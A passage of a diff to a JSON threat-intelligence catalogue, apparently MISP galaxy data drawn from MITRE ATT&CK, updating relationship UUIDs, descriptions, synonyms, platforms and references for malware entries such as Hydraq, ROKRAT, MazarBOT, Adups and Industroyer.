"synonyms": [ "DroidJack" ] }, "related": [ - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -12248,7 +11905,14 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12260,20 +11924,26 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1", "value": "DroidJack - S0320" }, { - "description": "[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025).(Citation: MicroFocus 9002 Aug 2016)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: ASERT Seven Pointed Dagger Aug 2015)(Citation: FireEye DeputyDog 9002 November 2013)(Citation: ProofPoint GoT 9002 Aug 2017)(Citation: FireEye Sunshop Campaign May 2013)(Citation: PaloAlto 3102 Sept 2015)", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) is a data-theft trojan first used by [Elderwood](https://attack.mitre.org/groups/G0066) in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including [APT17](https://attack.mitre.org/groups/G0025). (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)", "meta": { "external_id": "S0203", "mitre_platforms": [ "Windows" ], "refs": [ - "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", "https://attack.mitre.org/software/S0203", "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ", "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/", @@ -12286,13 +11956,6 @@ ], "synonyms": [ "Hydraq", - "Roarur", - "MdmBot", - "HomeUnix", - "Homux", - "HidraQ", - "HydraQ", - "McRat", "Aurora", "9002 RAT" ] @@ -12599,7 +12262,14 @@ }, "related": [ { - "dest-uuid": "d916f176-a1ca-4a78-9fdd-4058bc28162e", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c6a146ae-9c63-4606-97ff-e261e76e8380", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12613,7 +12283,7 @@ "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12734,7 +12404,7 @@ "value": "LOWBALL - S0042" }, { - "description": "[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067) to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) has used ROKRAT during several campaigns from 2016 through 2021.(Citation: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexity InkySquid RokRAT August 2021)", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067). This software has been used to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) used ROKRAT during several campaigns in 2016 through 2018. (Citation: Talos ROKRAT) (Citation: Talos Group123)", "meta": { "external_id": "S0240", "mitre_platforms": [ @@ -12744,8 +12414,7 @@ "https://attack.mitre.org/software/S0240", "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html", "https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html", - "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/" + "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" ], "synonyms": [ "ROKRAT" @@ -12759,13 +12428,6 @@ ], "type": "uses" }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ @@ -12780,13 +12442,6 @@ ], "type": "uses" }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ @@ -12794,20 +12449,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", "tags": [ @@ -12815,13 +12456,6 @@ ], "type": "uses" }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "tags": [ @@ -12829,34 +12463,6 @@ ], "type": "uses" }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ @@ -12885,13 +12491,6 @@ ], "type": "uses" }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ @@ -12900,14 +12499,14 @@ "type": "uses" }, { - "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12934,33 +12533,12 @@ ], "type": "uses" }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e4dc8c01-417f-458d-9ee0-bb0617c1b391", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" - }, - { - "dest-uuid": "f244b8dd-af6c-4391-a497-fc03627ce995", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" } ], "uuid": "60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", @@ -13038,13 +12616,6 @@ ] }, "related": [ - { - "dest-uuid": "2aa78dfd-cb6f-4c70-9408-137cfd96be49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -13060,7 +12631,14 @@ "type": "uses" }, { - "dest-uuid": "c6e17ca2-08b5-4379-9786-89bd05241831", + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13074,14 +12652,14 @@ "type": "uses" }, { - "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "fcb11f06-ce0e-490b-bcc1-04a1623579f0", + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -13735,7 +13313,14 @@ }, "related": [ { - "dest-uuid": "0f4fb01b-d57a-4375-b7a2-342c9d3248f7", + "dest-uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -14373,13 +13958,6 @@ ], "type": "uses" }, - { - "dest-uuid": "eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ @@ -14786,9 +14364,16 @@ "description": "[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)", "meta": { "external_id": "S0027", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0027", "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + ], + "synonyms": [ + "Zeroaccess", + "Trojan.Zeroaccess" ] }, "related": [ @@ -14814,9 +14399,15 @@ "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", "meta": { "external_id": "S0028", + "mitre_platforms": [ + "Windows" + ], "refs": [ "https://attack.mitre.org/software/S0028", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "synonyms": [ + "SHIPSHAPE" ] }, "related": [ @@ -15163,14 +14754,14 @@ "type": "uses" }, { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15184,21 +14775,34 @@ "description": "[MazarBOT](https://attack.mitre.org/software/S0303) is Android malware that was distributed via SMS in Denmark in 2016. (Citation: Tripwire-MazarBOT)", "meta": { "external_id": "S0303", + "mitre_platforms": [ + "Android" + ], "refs": [ "https://attack.mitre.org/software/S0303", "https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/" + ], + "synonyms": [ + "MazarBOT" ] }, "related": [ { - "dest-uuid": "a8e971b8-8dc7-4514-8249-ae95427ec467", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15581,21 +15185,28 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -15616,14 +15227,14 @@ "type": "uses" }, { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -16424,7 +16035,7 @@ "https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01", "https://www.esetnod32.ru/company/viruslab/analytics/doc/Stuxnet_Under_the_Microscope.pdf", "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf", - "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf" + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf " ], "synonyms": [ "Stuxnet", @@ -17234,7 +16845,7 @@ ], "refs": [ "https://attack.mitre.org/software/S0083", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "Misdat" @@ -17340,22 +16951,35 @@ "description": "[Adups](https://attack.mitre.org/software/S0309) is software that was pre-installed onto Android devices, including those made by BLU Products. The software was reportedly designed to help a Chinese phone manufacturer monitor user behavior, transferring sensitive data to a Chinese server. (Citation: NYTimes-BackDoor) (Citation: BankInfoSecurity-BackDoor)", "meta": { "external_id": "S0309", + "mitre_platforms": [ + "Android" + ], "refs": [ "http://www.bankinfosecurity.com/did-chinese-spyware-linger-in-us-phones-a-9534", "https://attack.mitre.org/software/S0309", "https://www.nytimes.com/2016/11/16/us/politics/china-phones-software-security.html" + ], + "synonyms": [ + "Adups" ] }, "related": [ { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9558a84e-2d5e-4872-918e-d847494a8ffc", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17369,14 +16993,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17960,7 +17577,7 @@ }, "related": [ { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17974,7 +17591,28 @@ "type": "uses" }, { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -17987,13 +17625,6 @@ ], "type": "uses" }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d13fa042-8f26-44e1-a2a8-af0bf8e2ac9a", "tags": [ @@ -18008,13 +17639,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -18028,6 +17652,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "a76b837b-93cc-417d-bf28-c47a6a284fa4", @@ -18265,20 +17896,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", "tags": [ @@ -18286,6 +17903,20 @@ ], "type": "uses" }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", "tags": [ @@ -18293,6 +17924,13 @@ ], "type": "uses" }, + { + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", "tags": [ @@ -18314,6 +17952,13 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", "tags": [ @@ -18328,20 +17973,6 @@ ], "type": "uses" }, - { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", "tags": [ @@ -18357,14 +17988,7 @@ "type": "uses" }, { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18383,6 +18007,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "3049b2f2-e323-4cdb-91cb-13b37b904cbb", @@ -18715,42 +18353,49 @@ }, "related": [ { - "dest-uuid": "1d44f529-6fe6-489f-8a01-6261ac43f05e", + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": "3dd58c80-4c2e-458c-9503-1b2cd273c4d2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4c58b7c6-a839-4789-bda9-9de33e4d4512", + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51636761-2e35-44bf-9e56-e337adf97174", + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "6a3f6490-9c44-40de-b059-e5940f246673", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18777,13 +18422,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -18799,14 +18437,14 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "dest-uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -18825,9 +18463,9 @@ ], "refs": [ "https://attack.mitre.org/software/S0604", - "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", - "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf" + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf ", + "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf ", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf " ], "synonyms": [ "Industroyer", @@ -19058,13 +18696,6 @@ ] }, "related": [ - { - "dest-uuid": "08e22979-d320-48ed-8711-e7bf94aabb13", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -19072,13 +18703,6 @@ ], "type": "uses" }, - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", "tags": [ @@ -19094,7 +18718,21 @@ "type": "uses" }, { - "dest-uuid": "4f14e30b-8b57-4a7b-9093-2c0778ea99cf", + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19114,6 +18752,20 @@ ], "type": "uses" }, + { + "dest-uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, { "dest-uuid": "99e6295e-741b-4857-b6e5-64989eb039b4", "tags": [ @@ -19122,21 +18774,28 @@ "type": "uses" }, { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ab7400b7-3476-4776-9545-ef3fa373de63", + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b1c95426-2550-4621-8028-ceebf28b3a47", + "dest-uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19170,20 +18829,6 @@ ], "type": "uses" }, - { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e1c912a9-e305-434b-9172-8a6ce3ec9c4a", "tags": [ @@ -19191,13 +18836,6 @@ ], "type": "uses" }, - { - "dest-uuid": "e2c2249a-eb82-4614-8dd4-9c514dde65e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "tags": [ @@ -19206,7 +18844,7 @@ "type": "uses" }, { - "dest-uuid": "ec4c4baa-026f-43e8-8f56-58c36f3162dd", + "dest-uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -19352,13 +18990,6 @@ ] }, "related": [ - { - "dest-uuid": "0cdd66ad-26ac-4338-a764-4972a1e17ee3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", "tags": [ @@ -19367,21 +18998,28 @@ "type": "uses" }, { - "dest-uuid": "2282a98b-5049-4f61-9381-55baca7c1add", + "dest-uuid": 